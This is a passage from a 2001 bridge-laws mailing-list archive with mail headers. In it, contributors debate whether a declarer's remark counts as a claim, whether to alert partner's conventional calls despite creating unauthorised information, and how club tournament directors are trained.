hold you to [the latter]." It should by now have been firmly established that the English language and the Laws of the game of bridge enjoy an uneasy co-existence. On behalf of - indeed, as some would see me, the leading spokesman for - the Draconian Fascists, I would say this. The question originally posed was: is "we are going to make twelve tricks" a claim? The answer to it, as even the least Draconian non-Fascist appears to me to have accepted, is "Yes". When that question was posed, there were no secondary questions along the lines of "ought it to be a claim?", "ought it to be treated under L68 as opposed to L73F2?", "will treating it as a claim not open the door to Bridge Lawyers, so that they might grind into the dust the faces of the unsuspecting?" All of these issues have been raised, quite properly, by those who think that the game ought to be played according to the letter of those Laws with which they agree, and according to the "spirit" (as if there were such a thing) of those Laws with which they do not agree. Now, first and foremost, my sentiments are not at all in favour of declarers who, out of anger with partner for perceived shortcomings in the bidding, make any kind of statement upon seeing dummy other than "Thank you, partner". If a man wants to assert that his partner is an idiot for contracting for ten tricks when twelve will be made, then let him either hold his peace until the end of the hand, or prepare to have his utterance treated as a claim of twelve tricks. If he makes a statement that is, according to the Laws, a claim, then let it be treated according to the Laws relating to claims, and not according to the Laws relating to "remarks" that may deceive the opponents. It is all very well to say that if the opponents are fooled into a misdefence by such-and-such a statement, they will be afforded redress under Law 73. But it is a pretty safe bet that, at club level, no one knows what Law 73 says, or even that there is a Law 73. Having said that, I could easily imagine (and would have no difficulty with) the following: North makes an opening lead against 4S. West, upon seeing dummy, says "We are going to make twelve tricks here". South, a BL, waits for West to expound upon his statement, then calls the director and asserts that his opponent has made a claim, and has not accompanied it by a statement of clarification. The director ascertains what has happened, and asks West whether he intended to claim twelve tricks. West, for the sake of argument, says "Er... no, not exactly". The director says "According to the Laws, your statement is a claim. But since at the time you made your statement, you were obviously unaware that it had to be treated as a claim, you have as yet had no opportunity to state a line of play. I now invite you to justify your claim of twelve tricks - but please confine this justification to what was in your mind when, upon seeing dummy, you asserted that you would make twelve tricks". West may now say something like "I will draw trumps in four rounds if need be, then I will cash five clubs and the red aces - my last trump will be my twelfth trick". In that case, the result will be adjudicated as four spades making six. However, if West proffers any more complex line of play, the result will be adjudicated according to Law 70. Now, if I were a dyed-in-the-wool Draconian Fascist, I could cite various Laws (68C, 70E) according to which this approach is not justifiable. Indeed, at any kind of serious level, I would (probably) not rule this approach a legal one. But at any kind of serious level, no one actually makes remarks such as "we are going to make twelve tricks" without expecting them to be treated as claims. And at the levels with which Eric is primarily concerned, the approach I have advocated will (perhaps) keep his customers in their seats. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 12:20:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0V14wZ10284 for bridge-laws-outgoing; Wed, 31 Jan 2001 12:04:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0V14Pt10195 for ; Wed, 31 Jan 2001 12:04:27 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14Nlh4-000FJV-0U for bridge-laws@rgb.anu.edu.au; Wed, 31 Jan 2001 01:04:20 +0000 Message-ID: <99vl92AIKud6EwdG@blakjak.demon.co.uk> Date: Tue, 30 Jan 2001 15:49:28 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Alert or Not References: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> In-Reply-To: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Wayne Burrows writes >How do you see the law/ethics of alerting your partner's conventional responses >to your unalerted conventional bids? Whether a call is alertable is dependent on the regulations of your SO, and nothing else. So if pd's call is alertable, then it is alertable, whatever else happens. As a general matter, if you have a choice between not acting and creating MI for oppos and acting and creating UI for pd then you always act, and let pd live with the UI consequences. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 12:35:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0V150a10291 for bridge-laws-outgoing; Wed, 31 Jan 2001 12:05:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0V14Pt10194 for ; Wed, 31 Jan 2001 12:04:27 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14Nlh4-000FJU-0U for bridge-laws@rgb.anu.edu.au; Wed, 31 Jan 2001 01:04:19 +0000 Message-ID: Date: Tue, 30 Jan 2001 15:43:43 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> <005a01c08868$c5c56c00$0dc188d1@kay> <002d01c08ac0$032febc0$0fc188d1@kay> In-Reply-To: <002d01c08ac0$032febc0$0fc188d1@kay> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Nelson/Kay Ford writes >From: "David Stevenson" >> As in most sports the accepted way to learn how to regulate a game >> involves some training. It is not really acceptable to become a TD by >> picking up a Law book and getting on with it. >> >> On our basic TD courses they are trained about major and minor penalty >> cards, insufficient bids and claims, as well as revokes, calls out of >> turn and various other things. >IMO, most clubs are skating on thin financial ice, thus >they cannot afford to pay directors much (it's a stretch >to call it minimum wage), plus most directors are also >players and would really rather be playing than directing. > >The result is that most clubs are hard-pressed to come >up with all the directors that they need, so they take what >they can get. This includes making sure that directors pass >the test. The #1 concern is getting a warm body in there. >The #2 concern is that the body can run the software and >enter scores into the computer without screwing everything >up. THEN you can worry about the body knowing the Laws... > >I probably should add that the Hot Springs Village club averages >about 3 events per day, thus the need for so many directors. Most of the Club TDs who go on Club TD courses in England do not get paid anything at all. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 20:20:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0V94bq09849 for bridge-laws-outgoing; Wed, 31 Jan 2001 20:04:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0V93tt09746 for ; Wed, 31 Jan 2001 20:03:57 +1100 (EST) Received: from village.uunet.be (uu212-190-8-247.unknown.uunet.be [212.190.8.247]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0V93oa05203 for ; Wed, 31 Jan 2001 10:03:50 +0100 (MET) Message-ID: <3A77D315.CABE9E92@village.uunet.be> Date: Wed, 31 Jan 2001 09:55:49 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Alert or Not References: <35.1015b30c.27a88009@aol.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Walt, the problem is with you. I believe you are sending in html. I don't get your text when wanting to reply. You ask : What is the DWS principle? It is a wrong acronym, just written by Alain. This way, it sounds like David W Stevenson, and he is not involved. It should be dWS or even better DwS and means De Wael School. I won't bore the list with a full explanation here. -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 20:35:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0V94bp09845 for bridge-laws-outgoing; Wed, 31 Jan 2001 20:04:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0V93tt09747 for ; Wed, 31 Jan 2001 20:03:57 +1100 (EST) Received: from village.uunet.be (uu212-190-8-247.unknown.uunet.be [212.190.8.247]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0V93ia05105 for ; Wed, 31 Jan 2001 10:03:48 +0100 (MET) Message-ID: <3A77D1A1.133AED92@village.uunet.be> Date: Wed, 31 Jan 2001 09:49:37 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Alert or Not References: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> <99vl92AIKud6EwdG@blakjak.demon.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > > As a general matter, if you have a choice between not acting and > creating MI for oppos and acting and creating UI for pd then you always > act, and let pd live with the UI consequences. > dWS view : (that's De Wael School, not DWS) As a general matter, if you have a choice between not acting and creating MI for oppos and acting and creating UI for pd then you are not required to act, so as not to give pd UI consequences. I know, this seems strange, but there is no such law as "thou shalt not MI", yet there is a law that says "thou shalt not give pd UI". -- Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 21:15:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0VAElw27810 for bridge-laws-outgoing; Wed, 31 Jan 2001 21:14:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0VAEZt27750 for ; Wed, 31 Jan 2001 21:14:37 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id LAA23111; Wed, 31 Jan 2001 11:14:30 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Wed Jan 31 11:17:22 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZJZSU6U4S002RLZ@AGRO.NL>; Wed, 31 Jan 2001 11:13:29 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Wed, 31 Jan 2001 11:08:52 +0100 Content-return: allowed Date: Wed, 31 Jan 2001 11:13:26 +0100 From: "Kooijman, A." Subject: RE: [BLML] Alert or Not To: "'Herman De Wael'" , Bridge Laws Message-id: <67378DEA146DD21194C20000F87B08BA01B8B7A1@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > David Stevenson wrote: > > > > > > As a general matter, if you have a choice between not acting and > > creating MI for oppos and acting and creating UI for pd > then you always > > act, and let pd live with the UI consequences. > > > This is simply not true. There is no general approach. Yes you have to alert an alertable call from partner, even if this creates UI for him. But defenders are not allowed to correct misexplanation before the end of play. ton > dWS view : (that's De Wael School, not DWS) > > As a general matter, if you have a choice between not > acting and > creating MI for oppos and acting and creating UI for pd then > you > are not required to act, so as not to give pd UI > consequences. So this is simply not true either. It might be a good idea to abandon these schools. ton > > I know, this seems strange, but there is no such law as > "thou shalt not MI", yet there is a law that says "thou > shalt not give pd UI". It would be more effective and efficient to add the law number you are referring to. I do not know a GENERAL law saying so. ton > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.gallery.uunet.be/hermandw/index.html > > > -- > ============================================================== > ========== > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 21:35:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0VAZJt03592 for bridge-laws-outgoing; Wed, 31 Jan 2001 21:35:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0VAZAt03553 for ; Wed, 31 Jan 2001 21:35:11 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id LAA24363; Wed, 31 Jan 2001 11:32:24 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA12784; Wed, 31 Jan 2001 11:34:51 +0100 (MET) for Message-Id: <3.0.6.32.20010131113641.00844940@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 31 Jan 2001 11:36:41 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Alert or Not In-Reply-To: <3A77D315.CABE9E92@village.uunet.be> References: <35.1015b30c.27a88009@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:55 31/01/01 +0100, Herman De Wael wrote: > >What is the DWS principle? > >It is a wrong acronym, just written by Alain. >This way, it sounds like David W Stevenson, and he is not >involved. David is not involved in something on blml ? Man bites dog <:-> >It should be dWS or even better DwS and means De Wael >School. dWS should be used only with members of the Gentry (are you ?). DwS looks fishy (the De Wael school of fish ?) because you name isn't written De wael. What about HDWS ? >I won't bore the list with a full explanation here. Do you mean a full explanation isn't boring, or you won't do it because it is ? Accept my apologies, Herman. I'm usually in sarcastic mood the week after the exams. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 22:16:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0VBFUT13918 for bridge-laws-outgoing; Wed, 31 Jan 2001 22:15:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0VBFLt13881 for ; Wed, 31 Jan 2001 22:15:22 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id MAA22185; Wed, 31 Jan 2001 12:11:14 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id MAA13661; Wed, 31 Jan 2001 12:15:03 +0100 (MET) for Message-Id: <3.0.6.32.20010131121652.0082ab10@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 31 Jan 2001 12:16:52 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Alert or Not In-Reply-To: <3A77D1A1.133AED92@village.uunet.be> References: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> <99vl92AIKud6EwdG@blakjak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:49 31/01/01 +0100, Herman De Wael wrote: >> > >I know, this seems strange, but there is no such law as >"thou shalt not MI", yet there is a law that says "thou >shalt not give pd UI". AG : the reason for this is that the former is included in the more general 'thou shalt play as I almighty tolled you', i.e. laws 72A1, 74A3, 71B2. While the latter is not an infraction per se, but can create such. It is to be avoided, as playing with matches is, not because it goes against the Law, but because its consequences can be huge. And for those reasons it is to be mentioned aside from the Law. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/